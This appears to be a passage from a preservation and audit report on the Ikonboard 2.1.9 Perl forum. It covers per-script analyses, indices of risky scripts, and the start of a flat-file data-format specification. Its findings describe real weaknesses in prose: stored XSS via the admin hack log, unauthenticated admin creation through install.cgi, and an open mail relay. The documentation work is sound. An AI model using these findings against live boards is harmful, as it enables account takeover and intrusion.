**Anything odd.**
- **Both page headers say "Bad word filter"** (`:73`, `:97`) -- this file was copied wholesale from `setbadwords.cgi` and the `<b>` in the title bar was never updated. The body headings correctly say "Hack Attemps log" (with the typo).
- `:48` reads a `wordarray` param that this script has no use for -- another `setbadwords.cgi` remnant.
- `:126` -- `split(/\------Log Entry------/, $raw_data)`. The leading `\-` escapes a hyphen outside a character class, which is legal but meaningless, and the whole pattern is an unanchored literal. Works, but written by someone escaping defensively without knowing why.
- `:128` -- `print @hackdata;` prints the log entries **raw**. `&checkVALIDITY` (`ikon.lib:30-33`) writes the full `%ENV` into that file as HTML, including `HTTP_REFERER`, `HTTP_USER_AGENT`, and `QUERY_STRING`, all attacker-controlled. It does exclude anything matching `/password/i` (`:31`). **The hack log is a stored-XSS delivery mechanism aimed squarely at the administrator** -- an attacker triggers a log entry containing a script tag, and it executes in the admin's session the next time they check the log. Given that `adminpass` is a readable session cookie, this is the most serious finding in the admin center. Flagging prominently for the security chapter.
- `:108-110` -- *"It does not mean that there have been hack attempts, it be just an innocent mistake."* The grammar slip ("it be") is in the shipped copy.

---

### 4.5 Setup & maintenance

Four scripts that stand outside the normal lifecycle. `install.cgi` runs once and then deletes itself (via `admincenter.cgi?action=remove`). `help.cgi` and `privacy.cgi` are content viewers with no state. `update_forums.cgi` is a one-shot migration shipped in a separate `upgrading/` directory and is the only file in the distribution with no copyright header.

---

### `install.cgi`

**35,606 bytes * 2001-05-23 * 740 LOC**

**Purpose.** First-run setup: write `data/boardinfo.cgi`, create and permission the data directories, and create the first administrator account.

**User-facing surface.** Four full pages, styled with an inline stylesheet (`:31-37`) rather than the board template -- the only script that uses CSS at all.

**Actions.**

| `action` | Effect | Params |
|---|---|---|
| *(none)* | Step one: the big configuration form (board name, URLs, paths, email settings, timezone, announcements on/off) (`:...-735`) | -- |
| `step_two` | Write `data/boardinfo.cgi` from all submitted params, append the four `$dfontsize` defaults, create `data/`, `members/`, `messages/`, `help/`, write and unlink a `test.txt` in each to verify writability (`:42-256`) | *every field of the step-one form* |
| `step_three` | Render the administrator-registration form (`:259-305`) | -- |
| `final_step` | Set the `adminname`/`adminpass` cookies (+1d), create `members/<name>.cgi` with `membercode=ad` (`:307-...`) | `membername`, `password_one`, `password_two` |

**Auth required.** **None, by design.** This is the documented model: the installer is unauthenticated, and security depends entirely on deleting it immediately afterwards. `admincenter.cgi:58-68` enforces that by refusing to run while `install.cgi` exists, and `:250`/`:366` shout about it in the UI (*"Leaving it on your server is a HUGE risk!"*).

The risk is concrete: while `install.cgi` is present, **anyone** can POST `action=final_step` and create themselves an administrator account with `membercode=ad` (`:358`), or POST `action=step_two` and overwrite `data/boardinfo.cgi` -- which is `require`d as Perl by every other script.

**Files read.** `data/boardinfo.cgi` (`require`d at `:335`, inside `final_step` only).
**Files written.** `data/boardinfo.cgi`, `data/boardstats.cgi`, `members/<admin>.cgi`; creates `data/`, `members/`, `messages/`, `help/`; writes and unlinks `test.txt` probes in each.

**Notable subs defined locally.** `check` (`:739`) -- a one-line Perl-path prober, defined at the very bottom, after `exit(0)` at `:737`.

**Anything odd.**
- Skeleton deviations: **no `eval`-wrapped require block** at the top (the `require` is deferred into `final_step` at `:334-341`), **no `$CGI::POST_MAX`, no `$CGI::DISABLE_UPLOADS`** (the only script in the tree without either), and the copyright header says *"Copyright 2000"* and *"Ikondiscussion is a trademark"* (`:9-10`) where every other file says 2001 and *Ikonboard*. This file predates the rest of the distribution.
- `:40` -- `if ($action ne "final_step" || !$action) { print header(); print start_html(...); }`. The `|| !$action` is redundant (if `$action` is empty it already `ne "final_step"`), and the condition means the `final_step` branch must print its own header at `:317`, which it does.
- `:22-30` is the same symbolic-reference param loop as the `set*` scripts, but with **only** the `@`-escaping substitution -- no `unHTML`, no slash-stripping. The least sanitised copy of the most dangerous loop, in the least authenticated script.
- `:358` writes the admin's member record with 15 fields where the canonical format is 22 (`ikon.lib:382`). The trailing seven -- signature, timedifference, privateforums, useravatar, misc1-3 -- are simply absent, so the founding administrator's record is short until the first profile save rewrites it. Every other writer of member files emits all 22.
- `:128` in `register.cgi` and this file both generate passwords, but `install.cgi` takes the admin's password verbatim with only a `password_one eq password_two` check (`:349`) -- no length, no complexity, no escaping. A password containing `|` corrupts the member record permanently.
- `sub check` (`:739`) is unreachable dead code sitting after the terminating `exit(0)`, and `$prog` -- the variable it tests -- is never set anywhere in the file.

---

### `help.cgi`

**13,568 bytes * 2001-05-23 * 356 LOC**

**Purpose.** Browse the help files in `help/`. Public files are `*.dat`; moderator/admin files are `*.cgi`.

**User-facing surface.** Rendered in the `&printmessenger` popup chrome. Four states: index of public help topics, a single public topic, index of moderation topics, a single moderation topic. Every state ends with a board-configuration summary (emoticons on/off, email functions, password verification) and a moderator login form (`:305-312`).

**Actions.** Dispatch is a four-arm chain keyed on **three different variables**:

| Condition | Effect | Params |
|---|---|---|
| `$inhelpon` set | Show `help/<topic>.dat` (`:75-110`) | `helpon` |
| `$action eq "login"` | Authenticate as mod/admin, list `help/*.cgi` (`:119-167`) | `adminmodname`, `adminmodpass` |
| `$inadmin` set | Authenticate, show `help/<topic>.cgi` (`:174-215`) | `admin` |
| *(else)* | List `help/*.dat` (`:226-263`) | -- |

**Auth required.** None for public `.dat` files. Moderator or admin for the `.cgi` set:
- `action=login` checks the **form-supplied** `adminmodname`/`adminmodpass` (`:121-124`)
- the `$inadmin` branch checks the **cookie-supplied** `$inmembername`/`$inpassword` (`:176-179`)

Two different credential sources for the same privilege, in the same file, twenty lines apart. The `login` action hands out links of the form `?admin=<file>` (`:162`), which then take the cookie path -- so a moderator who authenticates via the form still needs valid member cookies for the links to work.

**Files read.** `help/*.dat`, `help/*.cgi`, `help/` directory listing.
**Files written.** None.

**Notable subs defined locally.** `messengererror` (`:315-356`).

**Anything odd.**
- **`sub messengererror` is a byte-for-byte duplicate of `ikon.lib:790`**, which `help.cgi` already loads. Defining it locally silently overrides the library version for this file only (Perl emits a "Subroutine redefined" warning that nothing is configured to display). There is no functional difference -- it is pure redundancy, and it means a fix to the library version would not reach `help.cgi`.
- Uses the `require "$ikondir" . "ikon.lib";` form (`:24-27`) -- see the analysis under `checkboard.cgi`. Same author fingerprint.
- `:52-53` -- path-traversal defense on the `helpon` param, stripping `/` and `..` in two separate substitutions. Note the order: `s/\///g` then `s/\.\.//g`. It is applied *after* `&cleaninput` at `:51`. The `admin` param at `:43` receives **no such treatment** -- it goes into `help/$inadmin.cgi` at `:202` having passed through neither `cleaninput` nor the traversal strip, guarded only by `&stripMETA` on the assembled path (`:203`). Asymmetric hardening; hand to the security chapter.
- `:60` -- `if (($number) && ($number !~ /^[0-9]+$/))` guards a `$number` variable that does not exist in this file. Same dead guard as `printpage.cgi:52`.
- `:88`, `:135`, `:193`, `:231` -- `align=cleft`, four times. Not a valid HTML attribute value; browsers ignore it and fall back to left. A typo replicated across four copy-pasted blocks, which is itself the evidence that the four branches were built by duplication.
- `:151` greps the help directory for `/cgi/` and `:213` for `/dat/` -- **unanchored substring matches**, so a file named `notes.cgi.dat` appears in both lists and `index.html` appears in neither. The `help/` directory as shipped contains exactly the files this happens to sort correctly.
- `:212` -- `foreach (@helpdata) { $output .= $_; }` dumps the help file **raw into the page**. Help files are admin-editable only by FTP, so this is by design, but it means the help system is an unguarded HTML injection point for anyone with filesystem access.

---

### `privacy.cgi`

**3,379 bytes * 2001-05-23 * 100 LOC**

**Purpose.** Render `data/privacy.dat` inside the board template.

**User-facing surface.** One page: breadcrumb, a single-cell table containing the file's contents verbatim.

**Actions.** **None.** The shortest deviation from the skeleton in the tree: `privacy.cgi` has **no `$query = new CGI;`, no param reads, and no cookie reads at all**. It goes straight from `$thisprog = "privacy.cgi";` (`:40`) to `&title;` (`:43`).

**Auth required.** None.

**Files read.** `data/privacy.dat` (`:71-74`).
**Files written.** None.

**Notable subs defined locally.** None.

**Anything odd.**
- `:91` -- `$output =~ s/\$adminemail_in/$adminemail_in/sg;`. A one-variable templating system: `data/privacy.dat` may contain the literal text `$adminemail_in` and it will be substituted at render time. This is the only such mechanism in the codebase, it supports exactly one variable, and it is undocumented -- an admin editing `privacy.dat` has no way to discover it except by reading this line.
- `:73` -- `open(FILE,$filetoopen) or die "Cannot locate the privacy.dat file, ..."`. A bare `die` to the browser rather than `&error`, in a script that has the whole error framework loaded.
- Sets `$CGI::HEADERS_ONCE = 1` (`:20`) despite calling `header()` exactly once (`:93`). Copied wholesale from a script that needed it.
- `:56` and `:60` reference `$helpurl` (`:60`: `<td valign=bottom align=right>&nbsp; $helpurl</td>`), but `privacy.cgi` never calls `&helpfiles` to populate it. The help-icon cell renders empty on every board. `register.cgi:60-61` and `whosonline.cgi:52-53` do it correctly; this file has the markup without the assignment.

---

### `upgrading/update_forums.cgi`

**51 LOC**

**Purpose.** One-shot migration for boards upgrading from a pre-2.1 release: regenerate the per-topic `forum<N>/<topic>.pl` cache files from each forum's `list.cgi`. The `.pl` files were introduced in 2.1 to avoid re-reading the whole topic list on every thread view (`topic.cgi:115-119` maintains them thereafter).

**User-facing surface.** A plain progress log -- "Gathering forum details...", one "Forum N has been fixed..." line per forum, "All done...".

**Actions.** None.

**Auth required.** **None. At all.** This is the most exposed file in the distribution: an unauthenticated GET that rewrites one file per topic across every forum on the board. There is no confirmation step, no admin cookie check, no `checkVALIDITY`, and no instruction anywhere in the distribution to delete it after use (contrast `install.cgi`, which self-destructs and is guarded by `admincenter.cgi`). A board that unpacks the tarball as shipped leaves `upgrading/update_forums.cgi` publicly executable indefinitely.

**Files read.** `data/allforums.cgi` (`:15-18`), `forum<N>/list.cgi` (`:24-27`).
**Files written.** `forum<N>/<topic>.pl`, one per topic (`:32-39`).

**Notable subs defined locally.** None.

**Anything odd.**
- **No copyright header, no shebang comment block, no `use CGI::Carp`, no `$CGI::POST_MAX`, no `$CGI::DISABLE_UPLOADS`, no `eval`-wrapped requires, no `$thisprog`.** It requires only `ikon.lib` and `data/boardinfo.cgi` (`:5-6`) -- not `progs.cgi`, not `styles.cgi`. Fifty-one lines with none of the house style. Written in one sitting, for one job.
- `:11` -- `print start_html('Recreating Forums');` immediately followed by `print qq!<body bgcolor=#FFFFFF text=#000099>!;`. `start_html` already emits a `<body>` tag, so every run produces a document with two of them.
- `:35-40` -- the field-rejoin loop appends `"$_|"` for every field, leaving a **trailing pipe** on every regenerated `.pl` file that the original `list.cgi` line did not have. `chomp $nl` at `:37` removes a trailing newline, not a pipe, so it does nothing. Consumers `split(/\|/)` and ignore trailing empties, so the corruption is invisible -- but the files this tool produces are not byte-identical to the ones `topic.cgi` writes.
- `:24` and `:32` both declare `my $file` in the same scope (inner shadows outer) in a file that otherwise has no lexicals at all -- the only two `my` declarations in 51 lines, and they collide.
- `:25` -- `open (LIST, $file);` with no error check, in a loop driven by `data/allforums.cgi`. A forum listed there whose directory is missing yields an empty `@IN`, the inner loop does nothing, and the script cheerfully prints "Forum N has been fixed...".

---

### Appendix: quick indices

#### Scripts with no authentication on a side-effecting path

| Script | Path | Note |
|---|---|---|
| `admincenter.cgi` | `action=remove` (`:53`) | Unlinks `install.cgi` pre-auth |
| `install.cgi` | all (`:42`, `:307`) | Creates admin accounts, rewrites `boardinfo.cgi` |
| `upgrading/update_forums.cgi` | all | Rewrites every `.pl` file on the board |
| `ikonfriend.cgi` | `action=send` (`:100`) | Open mail relay |
| `topic.cgi` | *(default)* | Rewrites `list.cgi` + `.pl` per pageview; **no private-forum gate** |
| `search.cgi` | *(entry)* | GC-unlinks `search/*` older than 30 min, pre-auth |
| `postings.cgi` | `&deletepost` (`:944`) | Missing the `$checked` conjunct its siblings have |

#### Scripts that write executable Perl from form input

`setstyles.cgi` -> `data/styles.cgi` * `setvariables.cgi` -> `data/boardinfo.cgi` * `setmembertitles.cgi` -> `data/membertitles.cgi` * `install.cgi` -> `data/boardinfo.cgi`

#### The three copies of `sub login`

`newposts.cgi:234` * `messenger.cgi:810` * `announcements.cgi:497` -- identical but for whitespace and `size=` attributes. Never promoted to `ikon.lib`.

#### Won't compile on Perl >= 5.14

The `s/\:\o/.../g` emoticon rule: `post.cgi:1034`, `post.cgi.bak:1034`, `announcements.cgi:419`, `messenger.cgi:349`, `messenger.cgi:692`. Four live files. Any preservation effort that intends to *run* this board must patch these first.

#### The `=` / `eq` slip

`post.cgi:71-72` * `postings.cgi:71-72` * `messenger.cgi:513`

#### Author fingerprints

- **`require "$ikondir" . "ikon.lib";`** (broken but harmless): `checkboard.cgi:26`, `help.cgi:24` -- second hand.
- **`## Patched by Peter`**: `search.cgi:44`, and the same seven-line param loop hand-propagated into `post.cgi:49`, `postings.cgi:47`, `loginout.cgi:47`, `register.cgi:51`, `announcements.cgi:48`.
- **Tab-indented bodies with space-indented `stripMETA` injections**: `announcements.cgi` throughout -- a security patch applied over a differently-formatted original.
- **`%Mode` dispatch**: the five newest large files, against `if/elsif` everywhere else.
- **`$tr` instead of `$trash`**: `forumoptions.cgi:109` only.
- **`edit_topic_title`** -- the only underscore-cased sub in `postings.cgi`, and the only tab-indented `%Mode` entry (`:115`).

---

## 5. On-Disk Data Format Specification

Ikonboard 2.1.9 has **no database**. Every byte of board state lives in flat text files under
the CGI directory. There are two fundamentally different kinds of "data file":

1. **Delimited flat records** -- pipe (`|`) separated, usually one record per line.
   These are parsed with `split(/\|/, ...)`.
2. **Executable Perl fragments** -- files that are `require`d at runtime. They contain literal
   Perl assignment statements and a trailing `1;`. These are *code*, not data, and a naive
   parser that treats them as data will get it wrong. See section 5.9.

Throughout this document, field indices are **0-based** (as Perl's `split` returns them).

---

### Table of contents

1. [Directory layout](#51-directory-layout)
2. [Global conventions](#52-global-conventions)
3. [`data/allforums.cgi` -- the forum table](#53-dataallforumscgi----the-forum-table)
4. [`forum<N>/<id>.pl` -- topic header record](#54-forumnidpl----topic-header-record)
5. [`forum<N>/<id>.thd` -- the posts](#55-forumnidthd----the-posts)
6. [`forum<N>/list.cgi` -- the denormalized sort cache](#56-forumnlistcgi----the-denormalized-sort-cache)
7. [`forum<N>/<id>.mal` -- email notification subscribers](#57-forumnidmal----email-notification-subscribers)
8. [`members/<name>.cgi` -- the member record](#58-membersnamecgi----the-member-record)
9. [Perl-fragment "data" files (executable!)](#59-perl-fragment-data-files-executable)
10. [`messages/` -- the private message store](#510-messages----the-private-message-store)
11. [Remaining `data/` files](#511-remaining-data-files)
12. [`help/` files](#512-help-files)
13. [`search/` -- transient search result cache](#513-search----transient-search-result-cache)
14. [Cookies (not on-disk, but part of the model)](#514-cookies-not-on-disk-but-part-of-the-model)
15. [Entity relationship overview](#515-entity-relationship-overview)
16. [Locking and concurrency](#516-locking-and-concurrency)
17. [Notes for anyone writing a recovery parser](#517-notes-for-anyone-writing-a-recovery-parser)
18. [Appendix A -- file inventory quick reference](#appendix-a----file-inventory-quick-reference)

---

### 5.1 Directory layout

Two roots are configured at install time and stored in `data/boardinfo.cgi`:

| Variable | Meaning | Example |
|---|---|---|
| `$ikondir` | Filesystem path to the CGI directory, **with trailing slash** | `/home/user/cgi-bin/ikonboard/` |
| `$imagesdir` | Filesystem path to the images root, with trailing slash | `/home/user/public_html/ikonboard/` |
| `$boardurl` | URL of the CGI dir, **no** trailing slash | `http://example.com/cgi-bin/ikonboard` |
| `$imagesurl` | URL of the images root, no trailing slash | `http://example.com/ikonboard` |

Everything below is relative to `$ikondir` unless noted.

```
cgi-bin/                     ($ikondir)
+-- *.cgi                    ~35 programs
+-- ikon.lib                 main library (shared subs) -- require'd by every program
+-- ikonadmin.lib            admin-UI chrome + form parser
+-- ikonmail.lib             SMTP / sendmail / blat mailer
+-- data/
|   +-- boardinfo.cgi        * Perl fragment  -- install/admin config          (runtime)
|   +-- boardstats.cgi       * Perl fragment  -- 4 counters                    (runtime)
|   +-- styles.cgi           * Perl fragment  -- colors/fonts                  (SHIPPED)
|   +-- progs.cgi            * Perl fragment  -- script filename map           (SHIPPED)
|   +-- membertitles.cgi     * Perl fragment  -- post-count rank ladder        (SHIPPED)
|   +-- template.dat         raw HTML page skeleton with $ikonboard_main slot (SHIPPED)
|   +-- privacy.dat          raw HTML fragment                                (SHIPPED)
|   +-- register.dat         raw HTML fragment (registration T&C)             (SHIPPED)
|   +-- allforums.cgi        pipe-delimited forum table                       (runtime)
|   +-- news.cgi             pipe-delimited announcements                     (runtime)
|   +-- banlist.cgi          pipe-delimited ban filter                        (runtime)
|   +-- badwords.cgi         single-line &/=  word-swap map                   (runtime)
|   +-- onlinedata.dat       pipe-delimited "who's online" scratch            (runtime)
|   +-- hacklog.cgi          free-form HTML log                               (runtime)
|   +-- allforums.bak        backup of allforums.cgi (never auto-written!)    (manual)
|   +-- index.html           anti-snoop stub
+-- members/
|   +-- <MangledName>.cgi    one single-line record per member                (runtime)
|   +-- index.html           fake "401 Authorization Required" stub
+-- messages/
|   +-- <MangledName>_msg.cgi   inbox                                         (runtime)
|   +-- <MangledName>_out.cgi   outbox                                        (runtime)
|   +-- index.html
+-- search/                  auto-created 0777; transient per-user result files
+-- help/
|   +-- <Topic>.dat          public help pages (raw HTML)                     (SHIPPED)
|   +-- <Topic>.cgi          moderator/admin-only help pages (raw HTML)       (SHIPPED)
|   +-- admin/fontsizing.html
+-- forum<N>/                ONE DIRECTORY PER FORUM, N = numeric forum id
    +-- <id>.pl              topic header, ONE LINE, 10 fields                (runtime)
    +-- <id>.thd             the posts, one line per post, 7 fields           (runtime)
    +-- <id>.mal             email-notify subscriber list                     (runtime)
    +-- list.cgi             sort cache: all <id>.pl lines, newest first      (runtime)
    +-- list.bak             backup (never auto-written)                      (manual)
    +-- .htaccess            "deny from all" -- written by setforums.cgi:414-426
    +-- index.html           "-" stub -- setforums.cgi:409-412
```

Forum directories are created by `setforums.cgi` `sub createforum` (`setforums.cgi:403-426`) and
removed wholesale (`unlink` every file, then `rmdir`) by the delete-forum action
(`setforums.cgi:~530-558`).

---

### 5.2 Global conventions

#### 2.1 The pipe delimiter and its escape

`|` (0x7C) is the universal field separator. User-submitted text **cannot** contain a raw pipe:
every CGI parameter is passed through one of three sanitizers in `ikon.lib` before it ever
touches disk.

`sub cleaninput` -- `ikon.lib:602-618` (used by `post.cgi` for *all* params, `post.cgi:49-57`):

```perl
$text =~ s/<!--(.|\n)*-->//g;      # strip HTML comments
$text =~ s/<script>/&lt;script&gt;/ig;
$text =~ s/\&/\&amp;/g;            # (1) ampersand FIRST
$text =~ s/"/\&quot;/g;            # (2)
$text =~ s/  / \&nbsp;/g;          # (3) double space -> " &nbsp;"
$text =~ s/</\&lt;/g;              # (4)
$text =~ s/>/\&gt;/g;              # (5)
$text =~ s/\|/\&#0124;/g;          # (6) * THE PIPE ESCAPE
$text =~ s/\t//g;                  # tabs deleted
$text =~ s/\r//g;                  # CR deleted
$text =~ s/  / /g;
$text =~ s/\n\n/<p>/g;             # blank line -> <p>
$text =~ s/\n/<br>/g;              # newline    -> <br>
```

`sub unHTML` -- `ikon.lib:620-631` -- identical minus the whitespace/newline rules (used for
values that must stay on one line, e.g. admin form fields, `setvariables.cgi:56`).

`sub cleanarea` -- `ikon.lib:633-650` -- as `cleaninput` but expands tabs to `&nbsp;` runs.

**Consequences for a parser:**

* A record can never contain a literal `|` in a user field, so naive `split('|')` is safe.
* To recover the original text you must un-escape **in reverse order**:
  `&#0124;` -> `|`, then `&lt;`->`<`, `&gt;`->`>`, `&quot;`->`"`, and **`&amp;`->`&` LAST**.
  (Escaping did `&` first, so an author's literal `&lt;` survives as `&amp;lt;`.)
* Newlines are already `<br>` / `<p>` inside stored text. A stored post therefore **never
  contains a literal newline** -- which is why line-oriented records work at all.
* Note the lossy rules: tabs and carriage returns are silently deleted, runs of two spaces
  become `&nbsp;`. Original whitespace is not recoverable.

`ikonadmin.lib sub parseadminform` (`ikonadmin.lib:139-157`) uses a *different* pipe escape --
`&brvbar;` -- but that sub is dead code in 2.1.9 (all admin scripts use `CGI.pm` + `unHTML`).
If you meet `&brvbar;` in a field, it came from an older release.

#### 2.2 Path sanitizer

`sub stripMETA` (`ikon.lib:652-676`) is applied to nearly every constructed filename. It deletes
`& ; ` ' " | * ? < > ^ ( ) [ ] { } $ \n \r` and the sequence `..`. It does **not** delete
`/` or `\`, so it is a weak defense; more importantly for archaeology, **it silently mangles
filenames** built from member names containing those characters.

#### 2.3 Member name -> filename mangling

Everywhere: `$name =~ s/ /_/g;` or the equivalent `y/ /_/` -- spaces become underscores.
Examples: `ikon.lib:175` (`sub title`), `ikon.lib:375` (`sub getmember`), `ikon.lib:399`,
`post.cgi:363`, `messenger.cgi:180`, `profile.cgi:544`, `register.cgi:216`.

The filename is then `<mangled>.cgi` in `members/`, or `<mangled>_msg.cgi` /
`<mangled>_out.cgi` in `messages/`.

The mangling is **lossless in practice**, because `register.cgi` refuses any name that would
make it ambiguous (`register.cgi:196-203`):

```perl
if ($inmembername =~ /_/) { &error("...Please do not use underscores in your name..."); }
$inmembername =~ y/ /_/;
$_ = $inmembername;
if ((m/\b[_]/) || (m/\W+/) || (m/_{2,}/) || (m/[_]\b/)) { &error("...invalid characters"); }
```

So a legal 2.1.9 member name matches `^[A-Za-z0-9]+( [A-Za-z0-9]+)*$` -- word characters and
single interior spaces only. No underscores, no punctuation, no leading/trailing space.
`ikon.lib:177` additionally hard-fails ("Possible hack attempt, the username is too long!") on a
mangled name longer than **32 characters**.

Caveats:
* Registration is **case sensitive** (per `Changes.txt`, 2.1.8 r2.1), but the duplicate check at
  `register.cgi:215-217` uses a case-**in**sensitive directory grep, so `Bob` and `bob` cannot
  coexist even though lookups are case sensitive. On a case-insensitive filesystem (NTFS,
  HFS+) this is doubly true.
* The install-time administrator account (`install.cgi:351-359`) bypasses all of that
  validation, so the very first account on a board may violate the rules above.

#### 2.4 Time

All timestamps are **Unix epoch seconds** from Perl's `time`, stored as bare decimal integers.
Display adds `($timedifferencevalue*3600) + ($timezone*3600)` -- a per-member offset (member
field 16) plus a board-wide offset (`$timezone` in `boardinfo.cgi`) -- then formats with
`localtime` in `sub longdate` / `shorttime` / `dateformat` (`ikon.lib:678-740`). **Stored times
are raw server-local epoch; the offsets are presentation only.**

#### 2.5 Line endings and character set

* Files **shipped in the distribution** are CRLF (packaged from Windows). Verified: `data/*.cgi`,
  `data/*.dat`, `help/*.dat`, `ikon.lib`, `*.cgi` all contain `\r\n`.
* Files **written at runtime** use bare `\n` (Perl `print "...\n"` on Unix). A board that ran on
  Unix will therefore have LF data files sitting next to CRLF shipped files.
* `install.cgi:219-222` explicitly flags any `.cgi` containing `\r` as "uploaded in BINARY" --
  confirming the intended on-server state is LF.
* Character set is **ISO-8859-1** (Latin-1). Declared in the emitted HTML
  (`ikon.lib:760`: `charset=iso-8859-1`) and in `data/template.dat`. There is no encoding
  declaration inside the data files themselves; treat bytes >= 0x80 as Latin-1.

---

### 5.3 `data/allforums.cgi` -- the forum table

**Created by:** admin action only (`setforums.cgi sub createforum`). It does **not** exist after
a fresh install; `ikonboard.cgi:197` dies with *"Have you created any forums yet?"* if missing.

**Structure:** line-oriented, one forum per line, 15 pipe-separated fields.

**Canonical read** -- `ikon.lib:1019` (`sub getforum`), also `ikon.lib:103`, `ikon.lib:551`,
`ikonboard.cgi:204`, `newposts.cgi:122`, `setforums.cgi:137`.
**Canonical write** -- `setforums.cgi:438` (create), `:770` (edit), `:234` (recount),
`:1091` (rename category), `:1206` (reorder categories); `post.cgi:392` / `:838` (last-post
bump); `forumoptions.cgi:157` (prune).

| # | Field | Type | Meaning | Example |
|---|---|---|---|---|
| 0 | `forumid` | int | Forum number. Directory is `forum<forumid>/`. Assigned as `max(existing)+1` (`setforums.cgi:391-398`). Never reused. | `4` |
| 1 | `category` | string | **Category display name, denormalized onto every forum row.** There is no category table. | `General Chat` |
| 2 | `categoryplace` | int | Category sort key / identity. All forums sharing a `categoryplace` are one category. | `1` |
| 3 | `forumname` | string | Forum title | `Off Topic` |
| 4 | `forumdescription` | string | Sub-title | `Anything goes` |
| 5 | `forummoderator` | string | **Comma-separated** list of member names. `", "` is normalized to `","` before splitting (`ikon.lib:286-287`). Empty = unmoderated. | `Bob,Jane Doe` |
| 6 | `htmlstate` | enum | `on` \| `off` -- raw HTML allowed in posts (`topic.cgi:257`) | `off` |
| 7 | `idmbcodestate` | enum | `on` \| `off` -- IkonCode (BBCode) parsing (`topic.cgi:261`) | `on` |
| 8 | `privateforum` | enum | `yes` \| `no` -- requires per-member grant (member field 17) | `no` |
| 9 | `startnewthreads` | enum | `yes` = any member; `no` = admin/moderator only (`post.cgi:279-283`) | `yes` |
| 10 | `lastposter` | string | Member name of most recent poster; empty on a new forum | `Jane Doe` |
| 11 | `lastposttime` | epoch | Timestamp of most recent post; empty on a new forum | `991234567` |
| 12 | `threads` | int | Topic count -- **see bug below** | `37` |
| 13 | `posts` | int | Reply count (does **not** include the opening post of each topic) | `412` |
| 14 | `forumgraphic` | string | Filename under `$imagesurl/images/`. Falls back to `$boardlogo` if empty. **Last field -- carries the trailing newline.** | `logo.gif` |

**Sorting.** The file itself is in creation order. Display order is computed at render time by
rotating `categoryplace` to the front and doing a Perl `sort` (`ikonboard.cgi:203-211`,
`ikon.lib:549-557`). `ikonboard.cgi:211` uses `sort numerically` -- but the comparison operands are
whole `|`-joined strings, so `$a <=> $b` numifies each string to its leading integer, i.e. it
sorts by `categoryplace` and leaves ties in file order. `ikon.lib:557` (`sub forumjump`) uses a
plain string `sort` instead, so the forum-jump dropdown and the index can disagree in ordering
when there are >=10 categories.

*** Known bug -- field 12 (`threads`).** When a new topic is started, `post.cgi:391` does
`$threads = $newthreadnumber;` -- it assigns the **new topic's id**, not `threads+1`. Because topic
ids are `max(existing .thd)+1` within the forum and are never reused, `threads` inflates
permanently every time a topic is deleted. The admin "Recount Post Numbers / Fix Forum" action
(`setforums.cgi sub recount`, `:190-245`) repairs it by counting `*.thd` files. **Do not trust
field 12; recount `*.thd` yourself.**

Field 13 (`posts`) is likewise advisory: `setforums.cgi:203-214` recomputes it as
`sum over topics of (lines(<id>.thd) - 1)`.

**Backup/restore.** `data/allforums.bak` is *read* by `checkboard.cgi:143` and `admincenter.cgi:100`
to detect and restore a truncated `allforums.cgi`, but **no script in 2.1.9 ever writes it**.
It only exists if the board operator copied it by FTP, or if it survives from an older release.

**Example record:**

```
4|Final Fantasy|2|General FF Chat|Talk about any Final Fantasy game|Bob,Jane Doe|off|on|no|yes|Jane Doe|991234567|37|412|ff.gif
```

---

### 5.4 `forum<N>/<id>.pl` -- topic header record

*** Important correction to the common assumption:** in 2.1.9 the `.pl` file contains **only the
topic header -- one line, nothing else**. The posts live in the sibling `.thd` file (section 5.5). Some
descriptions of Ikonboard claim the `.pl` holds header-then-posts; that is not this version.

**Provenance.** The `.pl` file is **new in 2.1.9**. It was introduced as a per-topic authoritative
copy of the `list.cgi` row, to fix the "disappearing threads" bug credited to SmileyMan in
`Changes.txt`. The upgrade helper `upgrading/update_forums.cgi` back-fills `.pl` files by
replaying every existing `list.cgi` row. Boards upgraded from 2.1.8 or earlier therefore have
`.pl` files generated by that script.

**Created by:** runtime, on new topic -- `post.cgi:341-346`.
**Rewritten by:** every reply (`post.cgi:803-806`), every topic *view* (`topic.cgi:115-119`, view
counter), title edit (`postings.cgi:194-197`), lock (`postings.cgi:771-774`), unlock
(`postings.cgi:859-862`), move (`postings.cgi:359-362` source -> `closed`, `:378-381` destination).
**Deleted by:** thread delete (`postings.cgi:~613-622`), prune (`forumoptions.cgi:127-128`).

**Structure:** a **single line, no trailing newline**, 10 pipe-separated fields.

**Canonical read** -- `ikon.lib:1044` (in `rebuildLIST`), `post.cgi:784`, `postings.cgi:352`.

| # | Field | Type | Meaning | Example |
|---|---|---|---|---|
| 0 | `topicid` | int | Topic number; equals the filename stem. `max(*.thd stems)+1` at creation (`post.cgi:313-319`). | `128` |
| 1 | `topictitle` | string | Topic title. May not begin with whitespace (`post.cgi:293`). | `Best FF game ever?` |
| 2 | `topicdescription` | string | Optional sub-title | `no wrong answers` |
| 3 | `threadstate` | enum | `open` \| `closed` \| `moved` | `open` |
| 4 | `threadposts` | int | **Reply count** = `lines(<id>.thd) - 1`. A brand-new topic is `0`. | `14` |
| 5 | `threadviews` | int | View counter, incremented on every topic render (`topic.cgi:100`) | `301` |
| 6 | `startedby` | string | Member name of the opening poster | `Jane Doe` |
| 7 | `startedpostdate` | epoch | Timestamp of the opening post | `991234000` |
| 8 | `lastposter` | string | Member name of the newest post | `Bob` |
| 9 | `lastpostdate` | epoch | Timestamp of the newest post. **Last field -- no trailing newline.** | `991239999` |

**`threadstate` semantics.**
* `open` -- normal.
* `closed` -- locked; `post.cgi:499` and `:785` refuse replies.
* `moved` -- a topic that was moved out of this forum. Set only via the leave-a-message path of
  `postings.cgi sub movetopic`; note `postings.cgi:362` actually writes the literal string
  `closed` for the stub, so a genuine `moved` value is rare in the wild. Both are treated as
  locked.

**Example:**

```
128|Best FF game ever?|no wrong answers|open|14|301|Jane Doe|991234000|Bob|991239999
```

*** Trailing-pipe variant.** `upgrading/update_forums.cgi:33-38` rebuilds `.pl` files with
`$nl .= "$_|"` inside the field loop -- i.e. it appends a `|` after **every** field including the
last. `.pl` files produced by the upgrade tool therefore look like
`128|...|991239999|` and split into **11** fields, the 11th empty. A parser must tolerate a
trailing empty field.

---

### 5.5 `forum<N>/<id>.thd` -- the posts

**Created by:** runtime, on new topic -- `post.cgi:350-355` (writes post #1).
**Appended by:** `post.cgi sub addreply` (`post.cgi:788-798`), and the "moved" stub post
(`postings.cgi:334-345`).
**Rewritten by:** post edit (`postings.cgi:1275-1287`), post delete (`postings.cgi:950-959`).

**Structure:** line-oriented. **One line per post**, in chronological order (oldest first).
7 pipe-separated fields. Post #1 is the topic's opening post.

